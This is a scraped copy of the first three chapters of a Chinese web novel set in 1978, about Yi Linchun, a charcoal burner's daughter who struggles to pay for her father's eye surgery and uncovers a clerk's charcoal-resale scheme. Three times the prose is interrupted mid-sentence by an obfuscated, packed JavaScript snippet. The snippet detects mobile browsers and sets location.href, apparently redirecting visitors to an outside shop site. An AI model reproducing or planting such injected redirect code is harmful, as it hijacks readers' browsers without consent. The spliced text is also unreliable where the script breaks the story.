《人间世·春》 1. 第001章 第001章一九七八(一) 三十年河东,三十年河西。 许多年以后,易临春才深刻体会到这句话里的智慧和慈悲,它意味着时间和希望,给予无数平凡人精神力量。 而眼下,对于一个十九岁的女子来说,她自然体会不到,她也没有时间去研究时间和希望这种抽象的问题。自懂事以来,她只有忙不完的活。 长空如洗,把仁城一分为二的长乐江,倒映着万里碧空。 天是澄澈的水,水是碧蓝的天。 仁城一隅,青山如黛,巍巍山峦连绵起伏,仿若蜿蜒的青龙。 大山深处的某个角落,传来年轻女子清甜的歌声,仿若长乐江的水从深山中淙淙流淌而出,“我这里将海哥好有一比呀……我把你比牛郎,不差毫分哪……你比他还有多哇……刘海哥你是我的夫哇……刘海哥你带路往前行哪……得儿来得儿来得儿来哎哎哎……” 欢快的歌声,随着年轻女子放下手中砍柴的镰刀,取下挂在树上军绿色斜挎包里的铝饭盒,打开饭盒的刹那,戛然而止。 易临春看着饭盒里四处乱窜的蚂蚁,气得咬牙切齿,恨不得直接把饭盒扔到河里去。 只是想到今天的任务还没完成,没有饭盒里这两个红薯,接下来她哪来的力气干活?只差这一担柴就能填满整个窑炉,就能开火烧炭了。 烧好了炭卖了钱,她要换掉身上早已穿腻的粗布衣、解放鞋。扯块新布做条收腰长裙,今年上市的新花色的确良,穿在身上肯定好看,再要买双凉鞋,还要买瓶雪花膏。说不定她还能重新回学校上学……她嘴角随着放飞的思绪上扬,扬到最后咧嘴笑出声来。 易临春笑了好一会儿才收回放飞的思绪,在旁边找了处干净的地方坐下来。 她用筷子把饭盒里的蚂蚁一一挑出去,拧开水壶,倒了点水,把两只红薯一一冲洗了一下,剥开红薯皮,塞进嘴里,一口一口地咽下去,填饱肚子。 易临春吃完红薯,把饭盒装进斜挎包,直接扔在一边,没再挂树上,事实证明纯属白劳,蚂蚁总是能从各种路径攻占她的饭盒,她还不如把爬树的力气省下来,多砍点柴。 到易临春完成任务,挑着满满一担柴走出深山,能依稀望见山脚下的村庄的时候,太阳已经微微西斜。 她挑着柴一口气回到炭窑,远远望见坐在窑口头发胡子已经花白的瘦老头,正探头去取窑口旁边堆着的干柴,许是眼睛进了灰不舒服,抬起手臂要揉眼睛。 “爸,不要揉眼睛,手上有灰,会发炎的。”易临春放下柴担,快步跑到父亲易开元身边,掰开他满是炭灰的手臂,蹲下身看了看他发红的眼睛,显然是烧窑的烟火长年累月熏的,接过他手中的柴,把他拉到一边,“我来吧,你去旁边歇会。” 易开元坐在炭窑旁边不远的一处空地,看着易临春忙碌的身影,长叹一口气。 “爸,你小心蚂蚁爬你嘴里,我砍柴的时候就差点把蚂蚁吃进肚子里了。”易临春钻进炭窑里装了几根柴,探出头往外看了一眼,发现易开元的头越来越低,几乎埋进两个膝盖,怕他睡着了摔倒,便找话题跟他聊天。 “把装红薯的饭盒套个塑料袋,放到水里,压个石头,这样蚂蚁就爬不进去了。”易开元显然也有过类似的经历,向她传授经验,双手不停地在大腿两边摩擦,停顿片刻,摇头叹息。 “唉,你爸我最对不住的就是你了,让你跟我受这样的罪。你出生那年,正是三年饥荒,你下面两个弟弟,饿的饿死,病的病死,属你命硬。打你妈生了弟弟妹妹,你就再也没回学校,小学才上一年半……” “没事啊,都已经过去了,我肯定还会再回学校的。”易临春手中的动作慢了下来,心里有一丝酸涩,“我记得当时你说,等过两三年弟弟妹妹会走路不用我带了,我就可以重新回到学校,结果,三年又三年。不能再拖了,小妹已经长大,今年下半年开学我就回学校去。” 易开元倏地抬起头,显然被她的话震惊住,双唇微微颤抖,好不容易抖出来一句话,“你大姐考上大学了。” 易临春心口像被尖刀剜了一下,手里的活也停顿了片刻,深呼吸两下平复如常,加快动作干活,终于把整个炭窑填满,起身,拍了拍手。 “可以封窑了,起火还是爸你来吧,这是技术活,我掌握不好火候。” “小五啊,家里供不起那么多人上学。”父亲的话像一把利剑,彻底斩断了她心中那点微弱的希望。 “……”易临春微微仰起头,眼泪在眼眶里打转,却倔强地忍着不肯流下来。 “你都这个年纪了还去学校做什么?重新上一年级吗?你小妹小学都上了好几年了,到时候让人家笑话……” “谁笑话?”她直接打断他,一股无名怒火蹿了上来,“爸你什么意思?大姐上大学就可以,我回学校就不行,凭什么每次吃亏的都是我?我不是你亲生的吗?这次出窑卖了炭的钱我自己拿着,我一定要回学校。” 她最后撂下一句狠话,转身跑了,眼泪在转身的那一刻夺眶而出。 易临春毫无方向地一直跑,不知道跑了多久,眼泪被风吹干了,双腿跑酸了,才停下来,发现她已经跑到了一条小河旁,岸两边都是稻田。 阳光洒在辽阔的田野上,像镀了一层金,晚风徐徐吹过,吹起层层稻浪,景象十分壮观,她看得出神。 易临春吹了一会儿风,平复了情绪,担心父亲一个人出什么事,又回到炭窑边干活。 炭窑已经封好,开始烧火,炭窑升起的浓烟在灰蒙蒙的天空中盘旋。 易开元佝偻着背,蹲在炭窑旁,手里握着一根长长的铁钩,小心翼翼地拨弄着窑里的炭火。火光映在他的脸上,照着那双略带忧郁的眼睛,鬓角的白发在火光下格外刺眼,脸上的皱纹像刀刻般深重。 这个炭窑,曾经是她母亲和她外公烧炭用过的。后来她外公年纪大了,换成她母亲和她父亲。母亲病逝后,又换成她和她父亲继续在这里忙碌。 她母亲从小因为照顾弟弟妹妹,没有上过学,嫁给她父亲,成了生孩子的工具。只是天不遂人愿,生了两个儿子都早早夭折,最终自己的身体也被摧垮。 难道,她要重复母亲的路,一直困在这里,到了年纪草草嫁人,成为传宗接代的工具? 易临春想到这些,情绪瞬间低落到谷底,什么话也不想说,只是安静地整理柴火。炭火噼啪作响,火星四溅,空气中弥漫着焦炭的气味。 “小五,火候差不多了,不用再加柴了。”易开元的声音从身后传来,低沉而沙哑。 “知道了。”易临春低着头,手指摩挲着火钳的把手,无意间瞥见她父亲又在揉眼睛,揉了好一会儿,抬头望向四周,不停地眨眼睛。 当他抬脚往前走,前面有个柴堆,眼看就要被绊倒。 “爸,小心!”易临春扔下手中的火钳,大步跑向他,却已经来不及。 等她跑到他身边,他已经被绊倒趴在柴堆上,两只手在柴堆上乱摸,眼睛瞪得老大,脸色苍白如纸。 易临春脑海里闪过一个可怕的念头,他眼睛看不清了? 这个可怕的事实,在她和她表哥李丘林及附近几个热心的村民用板车把易开元送到医院,医生初步检查之后,得到了证实。 视网膜病变,白内障,手术,失明……医生解释了一大堆,她听得不是很明白,但这几个关键的字眼,她听懂了,仿若晴天霹雳,瞬间把她劈傻了。 易临春大脑一片空白,好一会儿,有人叫她,才回神来。 是她家里人过来了,不停追问她怎么回事。 易临春没时间跟她们解释,叮嘱她小妹易念春照看好父亲,至于她旁边那个女人,“妈”这个字眼她一如既往叫不出口,只看了她一眼,转身快步离开。 易临春从医院出来,左转,直走,没几步就走到了仁城大桥,桥底下是长乐江,浩浩荡荡北上,流入湘水,再汇入长江,最后往东奔入大海。 以长乐江为界,一边是城市,一边是乡村,虽然只有一江之隔,却是两个完全不同的世界,宛若楚汉河界,这条难以跨越的界线要在三十多年以后才消弭。 城市这一边,沿江有许多工厂,供销社,医院,县政府等各种机关单位,居民区。 江的另一边,大片的农田与村民聚居的湾落间隔排列,距离城区最近的村就是她们家所在的长乐湾。 这曾经是吸引她母亲嫁给她父亲的一个原因,通过婚姻,她母亲走出了上高坡的大山,她和父亲现在烧炭的地方,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274120|198158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县城一江之隔。 易临春回到湾里,没有去自己家,直奔村委会。她打算申请提前结算她们家今年在村集体的工分,预支半年的工钱。 村委会的人听到她的要求,直接拒绝了她,说没有这样的先例。经不住她软磨硬泡,工作人员让她直接去袁家找能做主的人。 易临春最不喜欢跟袁家的人的打交道,可现在急着用钱,只能硬着头皮去了袁家。 两套红砖青瓦的房子一字排开,这是长乐湾最气派的私人住宅。人来人往的,比村委会公家的办公室更热闹。除了办事的人,多数人有事没事,三天两头都会找借口过来给袁家老爷子“问安”。 袁家老爷子袁厚德在大队书记的位置上端坐多年,传言他退下来之后,他的大儿子即将接过他的“衣钵”。 易临春没有见到这两个主事的人,接待她的人听到她提出的要求,倒是没像村委会的人直接拒绝,让她在接待室里候着,他要先去请示。 他出去了一趟,好一会儿才返回,说上面的领导都去城里开会了,让她明天再来。 看天色也不早,易临春只能先回去。 第二天一大早,她就赶了过来,又是漫长的等待。等了大半天,头一天接待她的人终于再次出现,说领导看在她父亲的份上同意给她提前结算,但只此一次,下不为例。 这么顺利,倒是出乎她的意料。 她更没想到的是,她能拿到的结算款竟然只有三十二块钱。 易临春看了记录的工分,气得差点吐血。 原来他们家只有她父亲每天出一天工算十个工分,其他包括她在内的三个女的,全都只算三个工分。 她据理力争,她一天干的活不比任何一个成年男人少,上个月除草比赛,她拿了第一名,她一个人干的活是另外一个成年男人同一时间内的两倍多。 说了半天,结算的人进进出出好几趟,最后不但没有增,还要减。 因为她小妹上学了,没有那么多时间来队里上工,所以不算工分。 她的虽然加了,但只能按五个工分算,队里一直是这样的规定,成年女性的工分最多是男性的一半,而小孩和老人,按照规定一天都只能算三个工分。 无论她怎么据理力争,结算的人都不同意她的要求,给她按一天十个工分计算,也不再跑出去请示。 易临春心中气愤不已,说要自己去见袁厚德,正要站起来,门突然被推开,进来一个身材高大,肥头大耳的男人,袁家的大儿子袁常兴,人称“马仔”。 袁大少爷一脸的不耐烦,拍了一下桌子,指着她的鼻子,“不就是几十块钱的事,吵什么吵?你一个女人,脾气这么暴,以后谁敢娶你?” “你打狗屁!”易临春同样拍了一下桌子,“蹭”地站起来,把他的手直接推开,“有没有人娶我,不劳你操心。你们袁家财大气粗,几十块钱不放在眼里。我们是老百姓,只要是我挣的,每一分钱都属于我自己。” “……”袁常兴显然被她这种不把自己当女人的气势给震慑住,愣了几秒,不甘于被女人的气势压着,怒目圆睁,扬起手作势要推她。 旁边的人匆忙把他拽开,强行拖了出去,还把门带上了。 房间里只剩下易临春一个人,她一时不知所措,是该继续在这里等,还是去找袁厚德? 给她结算的人没多久又回来了,说袁老爷子已经发话,一定会给她一个合理的解决办法,只是因为以前没有发生过这样的事情,要先跟上面的领导开会讨论。 易临春提出要自己去跟他当面解释,结算的人有些生气,说袁老爷子刚刚已经去城里开会了,让她先回去。因为她,马仔挨了他父亲一巴掌,她再闹下去谁都下不了台。 挨了一巴掌的不只袁常兴,易临春回到医院,她父亲正吵着要出院,听到她去了袁家要钱,立刻暴跳如雷,一巴掌摔在了她脸上。 易临春捂着火辣辣的脸,瞪着她父亲气成酱紫色满是沟壑的脸。 如果是别人,她一定会以牙还牙,回过去一巴掌。可这个人是她父亲,这个称呼把所有的愤怒和委屈强行压回了她肚子里。 她一分钟也待不下去,生怕自己下一秒钟就会爆发,转身,迅速冲了出去,门口撞上一个人。 2. 第002章 第002章一九七八(二) 易定春是去供销社的时候,听到湾里的人说她父亲被送进了医院,当即就请假赶了过来。 易定春按照护士的指引找到房间号,站在病房门口,一手端着刚从食堂买来的粥,一手提着一袋水果。 她深吸一口气,侧身推开门——门口冲出来一个身影,差点撞翻她手中的铝饭盒。 她站稳后,望着气冲冲的易临春,长年穿梭于田间与山林间的艰苦劳作,把她的身形劈得枯瘦如柴,蜡黄似木瓜的脸上挂满泪水。 易定春心里一惊,她这个妹妹,可是与生活斗惯了的人,性格磨得比石头还硬,是什么事让石头落泪? 易临春与她对视了一眼,却当不认识她一样,迅速往旁边一闪,绕开她跑了。 “临妹……”她想跟上去拉住她问清状况,可没几步人已经跑得不见踪影。 易定春只能返回,小妹易念春走出来,带着哭腔告诉她,“大姐,爸刚才打了我姐一巴掌。” “爸为什么打你姐?”易定春心里一紧,脊背有些发麻。 她父亲易开元平时不轻易发脾气,发起脾气来跟吃人的老虎没什么区别。 她探头往房间门口看了一眼。 房间里,易开元正半靠在床头,双眼蒙着纱布,指挥着何淑秀收拾东西,嘴里念叨着,昨晚为什么不回家,让他睡在这里浪费钱? 易念春许是情绪激动,讲得颠三倒四,但大概是怎么回事,她总算是了解了,总结成一个字就是:钱。 易定春拉着念春进去,让何淑秀先别收拾,暂时住下来,准备手术,钱的事情她来想办法。 “要你想什么办法?”易开元打断了她,声音中透露出一丝疲惫与倔强,“好不容易恢复高考,你能通过自学考上,很不容易,爸一定要供你上完大学。你好好准备去上大学的东西,开学前,钱我们肯定能筹到,卖炭凑一部分,再找亲戚借一点。” “……我再想想,”易定春无奈笑了笑,把话题扯回去,“爸,我们听医生的,一定要做手术,眼睛看不清了,以后怎么生活?” “除非我死!”易开元起身要走,双臂在空中乱舞,身子乱晃。 她与何淑秀同事扶住他的手臂,把他扶稳了。 护士走进来,跟他解释说主治医师不在,没有主治医师的允许,医院不能放他走,并且这个星期住院的钱已经交了,不能退。 易定春来的时候,已经跟护士打过交道。她太了解她父亲了,这个倔老头,倔起来十头牛都拉不回来,每一分钱都是命,让他花钱住院,就是要他的命。 易开元看起来很不满,但最终还是被众人按了回去,嘴里唠叨着明天必须出院。 “爸,先喝点粥吧。”易定春把铝饭盒放在床头柜上,打开盒盖,热气升腾。 易开元没动,倒是何淑秀突然抓住她的手臂:“春儿啊,你姑妈介绍的那个男人……” 话音未落,易开元猛地捶了下床头柜,铝饭盒里的粥溅出来一大片,“我还没死呢,谁让你给她说亲的?” “爸你不要激动。”易定春见他去扯蒙着眼睛的纱布,赶紧按下他的手,腾出一只手轻抚着他起伏不平的胸口。 “他们家给的彩礼可不少,这不是要动手术……”何淑秀嚅嗫着,声音低到尘埃里。 “你给我闭嘴!”易开元像个困兽一样怒吼着,脖子上凸显的青筋,仿佛吐着信子的毒蛇,要把人生吞活剥了。 易定春摇头示意何淑秀不要再刺激这倔老头子。 何淑秀不情不愿地闭上嘴巴,不再说话,坐在床边剥橘子,不时地摇头叹气。 易开元折腾了这么久,估计也累了,在易定春的轻抚下,躺下来没多久就睡着了。 房间里有三张床,易开元睡的是靠门口的那张,易念春趴在中间那张床上写作业。 易定春准备回工厂,被何淑秀拉到靠窗户的那张床边坐下来。 “你姑妈介绍的人,见过了吧?”何淑秀压低声音,不等她回答,用非常肯定的语气自问自答,“我就知道你们一定能成,他们家以前是大户人家,现在条件肯定也不错,儿子有文化,你也不差,你可是我们易家最聪明最有文化的。” “……”易定春嗓子像被什么堵住,说不出话来。 这个一心为女儿们的婚事操心的后妈,既让她感动,又让她反感,这样的热乎劲仿佛她们都是她亲生的。 “可是,他们都说,我姐才是我们家最聪明的,她心算可厉害了,还能过目不忘。”易念春突然抬头,插嘴反驳。 “小孩子懂什么?”何淑秀瞪了易念春一眼,把她瞪回去继续埋头写作业,仰望着易定春,笑道,“嫁妆的钱你不用担心,我跟你爸会想办法的。” “你跟我爸还能想什么办法?”易定春非常清楚家里的情况,她已经参加工作,怎么好意思再向家里要钱?但这些都不是关键,关键是她不想那么早嫁人,她还想上大学,“我再想想,先不说这些,现在最要紧的是给我爸筹钱动手术。” 何淑秀清了清嗓子,回头望了一眼,确认易开元已经睡着,继续压低声音,“春儿啊,你是大姐,要好好说说你临妹,让她不要再做这样的事。工钱给多少拿多少就是了,往年你爸去领什么事也没有。她这样跑过去讨钱,得罪袁家对我们有什么好处?她脾气这么爆,又不识字,以后嫁都嫁不出去。” “那还不是爸爸偏心,不让我姐上学?我姐最可怜了,干的活最多,挨的打最多,读的书却最少。她上学的时候成绩可好了,都是拿第一名呢,她要是能上学,一定也能考上大学。我不管,反正我是不会这样的,我就要上学。” 易念春越说越激动,趴在床上,呜咽着,虽然极力压低声音,睡着的人应该听不到,但醒着的人肯定能听到。 “这孩子,又没说你什么,你叨叨什么?”何淑秀气得起身过来要打她,易定春拉住她,先一步起身,让何淑秀在这里照看病人,她带念春出去吃点东西。 易念春显然也不想留在这里,迅速跳下床。 易定春端着刚才带过来的铝饭盒,拉着念春快步走出房间,在走廊的一个长椅上坐下来,让念春趁热吃。 没几分钟,一碗粥就这么风卷残云一样,被卷进了小女孩的肚子里。 易定春笑她刚才一定是饿哭的,易念春不好意思地低下头,嘟囔了一句,“我是心疼我姐。” 小女孩情商极高,像是怕易定春误会,抬头拉着易定春的手,笑道,“大姐我也是喜欢的,还有二姐我都喜欢。” “大姐当然知道,”易定春握紧她的手,“大姐也知道,你姐是我们家最聪明的,也是付出最多的,她很辛苦,大姐也心疼她。” 小女孩使劲点头,像是找到知音了一样,“我姐不是故意发脾气的,她是太委屈了。她好想再回学校上学。妈为什么就不心疼她呢?是因为我们不是她亲生的吗?可是……” 后面的话被她吞回了肚子里,但易定春知道她想说什么。 易开元娶过三个老婆,她和她二妹易满春的母亲去世后,娶了第二个老婆,也就是易临春和易念春的亲生母亲,后来也去世了。两个老婆各生了两个儿子两个女儿,都只有女儿活了下来,她上面两个哥哥,易临春下面两个弟弟,都不在了。 何淑秀是易开元第三个老婆,但没有生孩子,她们都不是她亲生的。 “大姐,我想二姐了,我要给她写信。”小女孩像是有心转移话题。 “好,代我们向你二姐问好,让她在部队里积极向组织靠拢,好好照顾自己。” “嗯!” 易定春望着眼角依然挂着眼泪,脸却笑开花的小女孩,忍不住也笑了,抬手抹掉她眼角的泪珠。想着时间也不早了,把她送回房间,离开了医院。 时已黄昏,暑热未散,西边天际彩霞满天,像一团团火在燃烧。 易定春从医院出来,右转,穿过一条街。街道两边又冒出了一些平房,也有两三层的楼房。走到岔道口,一边是去供销社的方向,一边去工厂。 她想起供销社那态度傲慢的售货员,轻叹口气,继续往前走,一直走到城市一角的一片国营工厂聚集区。 远远望去,有的工厂打着大大的标语“抓革命促生产”,有的工厂屋顶矗立一根根粗大的烟囱,飘着长长的黑尾巴。 易定春走到仁城军大衣制衣厂前,正要进门,旁边传来熟悉的声音,“春儿,快过来。” 她循声望去,工厂旁边那棵大树下,站着一个熟悉的身影,一身蓝色工服,身形高大,手里举着一个邮政快递文件袋,朝她晃了晃。 易定春朝四周看了看,确定没人,快步跑过去,绕到树的另一边,压低声音责备他,“卢昱山,你不用上班吗?这个时候跑过来做什么?” “录取通知书到了,我特意给你送过来。”卢昱山把文件袋递到她手里,难以掩饰的笑容溢满了整张脸,“我们俩的学校都在广东,离得不远,到时我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她坐直脊背,吞咽了两下嗓子,“虞科长,能不能请您帮个忙?我爸眼睛动手术需要一大笔钱,想请您帮忙去向厂里的领导申请预支几个月工资。您在厂里资历最深,说话肯定管用。” 虞亚群端起桌上的搪瓷缸喝了一口,又放回去,拉开抽屉,厚厚一叠单据塞满了整个抽屉,“你看看这些退货单,供销社退回来三百件军大衣,上个月做出来的新大衣,直接进了库房……” 易定春也不是不了解工厂现在的状况,随口说出困扰了自己很久的问题,“我们是不是可以做一些其他产品?只做军大衣,市场消化不了那么多。” “给我们保卫祖国的战士们做军大衣,这是何其光荣的事情。”虞亚群像是被捅到了肺管子,脸色瞬时变得冷峻,声音也变得严厉,“怎么能轻易放弃呢?” “可是现在已经是和平年代,没有那么多仗要打了……” “这不是你一个小小科员要操心的事情。”虞亚群摆摆手,示意她离开,该干嘛干嘛去。 易定春感觉到她的不耐烦,心里有点难受,作为一个技术骨干,她在生产科上上下下口碑都不错。 但不知为何,虞亚群对她的态度一直不冷不热,有时候看起来对她做的东西也挺认可,但却从来没有公开表扬过她。 这她也能接受,虞亚群是个干实事的人,不喜欢搞那些虚头巴脑的。 她不能理解的是,她家里遭遇困境,实在没有办法了才开口请求帮助,虞亚群作为她的领导,至少应该争取一下帮她这个忙,没想到直接就拒绝了。 “这样吧,”虞亚群似是感觉到她的情绪,语气温和了些,“厂里缺钱,但不缺库存,市场科一直在想办法销库存。昨天中层管理会议,姚副科长说人手不够,要从其他科借调人员。我当然是舍不得放你过去,但既然你现在急着用钱,如果你能协助他们把库存换成钱,厂里有钱了,你父亲的手术费也就有着落了。” “问题是,我完全不懂销售。”易定春还想再说什么,门口有人敲门。 进来的是人事科的科长罗基文,比人先进来的是光秃秃的头顶,稍稍凸起的肚腩,看到易定春在,小眼睛一亮,“小易啊,恭喜恭喜,听说你考上大学了,什么时候走?我已经安排好人接替你的工作岗位,随时可以交接。” “……”易定春瞬间感觉脊背发凉,她从未向厂里任何人提起过她考大学的事,也没有向人事科提交离职申请,什么人消息这么灵通? “没有的事,罗科厂一定听错了。”她不等他再说什么,借口有急事要先去忙,跟虞科长解释说借调的事她再想想,便快步离开。 3. 第003章 第003章一九七八(三) 神农山位于仁城远郊,半山腰深山丛林里藏着一座半新不旧的古庙,万福寺。 过去那段动荡的日子,少有人来这里,即使来也是悄无声息地出现,然后迅速消失。 这两年形势缓和,来的人稍微多了些,但也不是明目张胆,大多以犹抱琵琶半遮面的方式出现。 距离万福寺不远的千福庵,地理位置更偏僻,如果不是有心去找,一般人很难发现有这么个小小庵子的存在。 这样一个被世人遗忘的角落,却是易临春心心念念所在。 她打记事起就知道,有个亲戚住在庵子里,据说是易家的另一个分支,早年祖上有人离开仁城南下闯荡,开枝散叶成了显赫一时的大家族。 后来不知何故,只剩下她一个老太太出现在仁城,上了年纪,无儿无女,一个人住在庵子里。 也不知道是什么辈分,易开元让她们都叫她小祖奶奶。 易开元经常带她们这些小辈来看她,定时给她送吃的穿的用的。 易临春很小的时候,因为性格刚烈,不服管教,又经常跟她大姐易定春起冲突,她母亲不得已就把她送到千福庵里,跟着小祖奶奶生活。 她特别喜欢听小祖奶奶讲她们那个年代的人和事,从晚清到民国,那些与她素未谋面、生活在不同时代的人,用另一种方式陪伴她度过了最艰难的成长岁月。 后来因为特殊时期,他们一家只有每个月初一或十五这天,借着去神农山砍柴,其实是到万福寺上香,顺便去千福庵看望小祖奶奶,给她补充一些吃食,平时都不敢去,怕引人注目。 但易临春就算是特殊时期,也时不时偷偷跑去看小祖奶奶,尤其是不开心的时候。 这一次被父亲打了一巴掌,她忍不住又跑到神农山千福庵小祖奶奶这里疗伤,拆洗被子,打扫卫生,砍柴,挑水……重复着每一次受到委屈以后都跑过来做的事情。 以往差不多一天干完活,吃顿饭就回去了,这次大概伤得太深,疗伤的时间也随之延长。 已经是第三天,她白天干活。晚上忙活完,她和祖奶奶一起躺床上。小祖奶奶读经书,她一边有一搭没一搭地听着,一边想着自己的心事。 她想不明白,同样是父亲的女儿,为什么大姐能读书,而她却要留在家里干活? 两年前她无意间得知易家的一个秘密,费尽心思争取了一个进军大衣厂的名额,最后却在易开元干涉下也给了大姐。 现在,易开元连眼睛都可以不治,也要供养大姐上大学。 她更想不明白,她想尽办法去筹钱给他治眼睛,最后还要挨一巴掌,这是什么道理? “勇于敢则杀,勇于不敢则活,”小祖奶奶读到这里,停顿下来。 “这是什么屁话?”易临春“蹭”地坐起来,挥舞着手中的蒲扇,“勇敢还有错吗?难道我就应该像我爸那样,活得像个鸵鸟,忍受袁家的不公?” 小祖奶奶摘下鼻梁上的老花镜,一双黑眸炯炯有神,细长瘦削的手臂挥动两下,习惯性地捋了捋耳根两边零乱的发丝,虽已是满头银发,皱纹也爬满了整张脸,但从脸型、五官还是能看出,小老太太年轻的时候是个美人胚子。 她笑望着她,轻启朱唇,“有勇气没有错,但敢与不敢,没有对错,如果你肆意妄为,不计后果,你就变成了一把刺刀,刺不到别人,刺的却是你自己。凡事能缓一缓,圆融一点,结果就会不一样,不一定是好的,但至少不会伤害到自己。这也是你父亲当初不让你进军大衣厂,而把机会让给你大姐的原因。” “……”易临春像吃了一记闷棍,说不出话来。 小祖奶奶放下手中的书,“现在,你一定恨极了生你养你的这个家,恨你父亲,甚至恨你死去的母亲,恨天道不公。” 易临春低下头,悄悄抹掉眼泪。 “孩子,你要活的像没有父母,因为他们总有一天要离开。你更要活得像一直有父母在,即使他们有一天离开了,你身上永远流着他们的血。” 易临春咂摸着这些话,似懂非懂,却像是一管止痛剂注入她心底,她那颗破碎的一碰就痛的心,这会儿没那么难受了。 “当然,打人就是不对,下次我说他,”小祖奶奶接过她手中的蒲扇,替她扇了扇,“你要是还气不过,我打他屁股,给你出气。” “小祖奶奶……”易临春再也忍不住,扑上去,抱住老太太的脖子,哭成泪人,“你一定要长命百岁,要是没有你,我都不知道怎么办。” 小祖奶奶拍拍她的背,“那是当然,我还想看着你们姑娘几个结婚生孩子,我最喜欢孩子了。” 易临春用力点头,又摇头,“不,我要赚很多很多钱,盖一栋很大的房子,接你过去住,我不要你再住这种地方。” 小祖奶奶没接她的话,推开她,给她擦掉眼泪,催她赶紧睡觉,时间已经不早。 易临春平息了一下激动的情绪,起身吹灭了煤油灯,在小祖奶奶旁边躺下,脑海里想着明天是该下山了,怎么迅速筹到钱,是她不得不面对的问题。 第二天一大早,易临春就离开千福庵,回到长乐湾。 她试着去说服村里的人,一同去村委会,让村里的会计给所有人重新核算工分,并张贴公布,以做到透明、公正。 果然不出小祖奶奶所料,无人响应。 她折腾了几天,何淑秀没跟她商量,直接把结算好的钱拿走了。没有人再愿意提这件事,她孤掌难鸣。 易临春只能另想办法,回到上高坡,卖炭筹钱。 从前卖炭的事都是她父亲去操心,她大体也知道流程,他们把炭送到城里的供销社,有公家的人在那收炭,价格大概是九块钱一百斤。 易临春很顺利地完成了第一次卖炭的艰巨任务,及时收到了钱。她想象中,要排很长时间的队,公家压价、挑毛病甚至拒收,等等,这些问题都没有出现。 只是有一点让她觉得难以置信,整整一上午,除了她,还有另外两个人挑着炭来过称,总共就三家。 “钱大哥,怎么会这么少的人呢?这样你们怎么完成任务?”易临春过完称没有离开,坐在供销社旁边的台阶上,等公家收炭的人忙完,主动找他拉家常。 收据上他签的名,钱丰收,她只认识“钱”字,后面两个字,她直接承认自己不认识。 他很耐心地教她怎么读,并给她解释,他出生的那一年,秋天稻谷大丰收,所以爷爷给他取了这个名字。 钱丰收看了她一眼,脸上表情迟疑了几秒,很快又恢复惯有的笑容,“现在的人,烧煤,烧柴的越来越多,仓库里还有很多陈年的炭没卖掉呢。” “那我后面再送过来,你们还收吗?”易临春最担心的问题自然是烧好的炭卖不出去。 “收,你上午送过来,我都在。下午就不一定了。” “太好了,谢谢钱大哥。”易临春起身对着正准备进入供销社大门的人反复鞠躬致谢,见他冲里面叫人出来把炭抬进去,主动上前给他搭把手,“我来我来,我力气大得很。” 上午就这么几个人送炭,自然没几个来回就把炭移到了里面仓库。 易临春无意间瞥见,仓库里堆着很多军大衣,移动挂杆上挂着几件,随口问了一句,“大哥,这些军大衣怎么不挂出去卖呢?” “挂出去又卖不掉,占地方。”钱丰收似是很不满,语气里满是抱怨,“现在有几个人穿这种东西,还不停地往这边送,增加我们的工作负担,真不知道他们是怎么想的。” “……”易临春不知道怎么接他的话,也不好在人家仓库呆太久,寒暄几句,离开了供销社。 她在城里转了一圈,最终硬着头皮去了趟医院,没想到易开元早就出院了,护士告诉她,病人实在太顽固,坚持不肯动手术,也不愿意再住院,医院只能放人。 易临春又气又无奈,想回去跟他理论,走到半路又折回,在她没有筹集足够动手术的钱,说再多有什么用? 她只能再回上高坡,去装明天要送的炭。路上不时回想起钱丰收的话,总觉得有很多不对劲的地方。 既然陈年的炭都没卖掉,为什么还要收新炭?收来的炭去哪里了? 仁城那么多烧炭的人,光上高坡她知道的就不下十来个,这些人烧了炭不送供销社,那还能送到哪里? 这些困扰她的问题,很快被她无意间找到了答案。 易临春因为担心钱丰收不在,第二天比以往更早挑着炭出门。为了赶时间,她没有走大路,走的是田间一条小河岸边的路。 让她意外的是,拐角的地方,有一个小房子,屋檐下有一盏灯,光线昏暗,前面一片空地,白天根本见不到人,此刻天还未亮,竟然熙熙攘攘挤满了人。有人挑着蔬菜、鸡蛋、各种生活日用品等在叫卖。 最让她意外的是,她把炭放下,在这里临时集市转了一圈,竟然发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274122|198158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱丰收在卖炭。 易临春怕他认出来,把草帽戴上,帽檐压得很低,躲在不远处,中间隔着一些人,依稀能听到,新炭竟然卖到了十五块一百斤。 她听到这个数字,气得差点吐血,感觉天旋地转,整个世界都要塌了。 易临春想留下来,又担心被钱丰收发现,脑海里一时想不出什么好的对策,只能躲在一边。等到天一亮,所有的人都像约好了一样各自离开,整块平地很快空无一人,恢复如初。 她这才重新出发,挑着炭送到供销社,看到钱丰收,再也笑不出来。 过完称,钱丰收让她明天还是这个时候来。 她心里冷笑,面上克制着极力保持冷静,说她家今年的炭都送完了,所以不用来了。不等钱丰收再说什么,匆匆离开。 